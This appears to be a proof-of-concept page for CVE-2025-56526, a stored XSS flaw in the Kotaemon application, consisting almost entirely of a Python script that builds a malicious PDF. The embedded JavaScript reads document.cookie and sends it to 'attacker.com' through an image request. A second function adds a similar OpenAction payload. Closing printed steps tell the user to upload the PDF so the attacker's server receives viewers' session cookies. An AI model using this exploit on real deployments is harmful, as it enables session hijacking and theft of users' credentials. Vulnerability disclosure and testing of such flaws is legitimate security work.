CVE-2025-56526 Kotaemon PDF存储型跨站脚本(XSS)漏洞

''' CVE-2025-56526 PoC - Kotaemon PDF XSS Vulnerability This PoC demonstrates how to create a malicious PDF with embedded JavaScript that will execute when opened in Kotaemon application. ''' from pypdf import PdfWriter, PdfReader from pypdf.generic import DictionaryObject, ArrayObject, NameObject, NumberObject, TextStringObject def create_malicious_pdf(output_path): """ Create a malicious PDF with embedded JavaScript for XSS attack """ # Create a new PDF writer = PdfWriter() # Add a simple page from pypdf import PageObject page = PageObject.create_blank_page(width=612, height=792) writer.add_page(page) # Add JavaScript action to the PDF # This JavaScript will execute when the PDF is opened malicious_js = """ app.alert('XSS Payload Executed!\\nStealing cookies: ' + document.cookie); // Attempt to steal sensitive data try { var img = document.createElement('img'); img.src = 'http://attacker.com/steal?c=' + encodeURIComponent(document.cookie); document.body.appendChild(img); } catch(e) {} """ # Add the JavaScript action # Using catalog dictionary to add OpenAction writer.add_js(malicious_js) # Write the malicious PDF with open(output_path, 'wb') as f: writer.write(f) print(f"Malicious PDF created: {output_path}") print("Upload this PDF to Kotaemon to trigger the XSS vulnerability") # Alternative: Create PDF with JavaScript in document-level scripts def create_malicious_pdf_alt(output_path): """ Alternative method using document actions """ from pypdf import PdfWriter from pypdf.generic import DictionaryObject, ArrayObject, NameObject writer = PdfWriter() # Create page from pypdf import PageObject page = PageObject.create_blank_page(width=612, height=792) writer.add_page(page) # Add JavaScript via catalog OpenAction js_action = DictionaryObject() js_action[NameObject('/S')] = NameObject('/JavaScript') js_action[NameObject('/JS')] = TextStringObject( 'app.alert("CVE-2025-56526 XSS - Cookie Theft: " + document.cookie);' ) # Set OpenAction in catalog writer._root_object[NameObject('/OpenAction')] = js_action with open(output_path, 'wb') as f: writer.write(f) if __name__ == '__main__': create_malicious_pdf('malicious_cve_2025_56526.pdf') print("\nPoC instructions:") print("1. Generate the malicious PDF using this script") print("2. Upload the PDF to Kotaemon application") print("3. When users view the PDF, the JavaScript will execute") print("4. Attacker's server will receive stolen session cookies")